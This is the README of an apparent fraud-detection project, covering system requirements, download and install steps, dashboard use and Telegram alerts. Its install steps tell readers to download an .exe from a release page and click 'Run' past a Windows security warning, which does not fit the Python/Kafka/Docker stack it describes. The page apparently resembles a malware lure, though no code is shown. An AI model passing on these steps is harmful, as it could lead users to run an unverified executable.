Digressive-pulse731

🛡️ fraud-detection-api - Identify suspicious transactions with ease today

This software monitors credit card transactions for suspicious activity. It uses machine learning to flag potential fraud. You receive alerts through Telegram. A dashboard shows live updates. This tool helps you maintain secure financial records without complex manual reviews.

💻 System Requirements

Your computer needs specific parts to run this software. Ensure your machine meets these criteria:

• Operating System: Windows 10 or Windows 11.
• Memory: 8 GB of RAM or more.
• Storage: 500 MB of free hard drive space.
• Connection: An active internet connection for real-time data streaming.

📥 Getting the Software

The process to obtain the program is straightforward. Follow these steps to get the files you need:

1. Visit this page to download: https://github.com/Digressive-pulse731/fraud-detection-api/releases.
2. Look for the section labeled “Assets” at the bottom of the release notes.
3. Click the file ending in .exe to start your download.
4. Save the file to your desktop for easy access.

⚙️ Installation and Setup

Once you download the file, your computer handles most of the work. Follow this sequence:

1. Locate the downloaded file on your desktop.
2. Double-click the file to open the installer.
3. Select “Run” if Windows shows a security warning box.
4. Follow the on-screen prompts.
5. Click “Install” to create a shortcut on your Taskbar.
6. The software will launch automatically after the process finishes.

📊 Viewing the Dashboard

The dashboard provides a visual report of all transactions. It displays data in clear charts to help you spot anomalies.

• Check the “Active Monitoring” tab to see real-time streaming data.
• Use the “Alert History” tab to review past notifications.
• Refresh your browser page if the data stops moving.

📲 Configuring Telegram Alerts

The system sends notifications directly to your phone. To set this up:

1. Open the Telegram app on your device.
2. Search for the bot name provided in the software settings menu.
3. Press the “Start” button inside the chat window.
4. The system links your unique identifier to the monitoring pipeline.
5. You will see a confirmation message once the connection succeeds.

🔍 Understanding the Technology

This system uses several technical layers to ensure accurate detection:

• Kafka: Manages the flow of transaction data.
• Isolation Forest: A machine learning model that identifies outliers or “anomalies.”
• FastAPI: Powers the backend to handle requests.
• PostgreSQL: Stores the records for your review.
• Plotly Dash: Generates the visual dashboard interface.

🛠️ Troubleshooting Common Issues

If you experience problems, use these steps to resolve them:

• App fails to start: Restart your computer and try again.
• No alerts received: Verify your internet connection and check your Telegram bot status.
• Dashboard shows no data: Check if the background service is running in your system tray.
• Slow performance: Close other high-memory programs while the monitor runs.

📝 Support

Use the repository issue tracker to report bugs. Provide your operating system version and a description of the error. This helps the team fix issues faster.

Keywords: anomaly-detection, docker, fastapi, fraud-detection, kafka, machine-learning, plotly-dash, postgresql, python, scikit-learn, telegrambot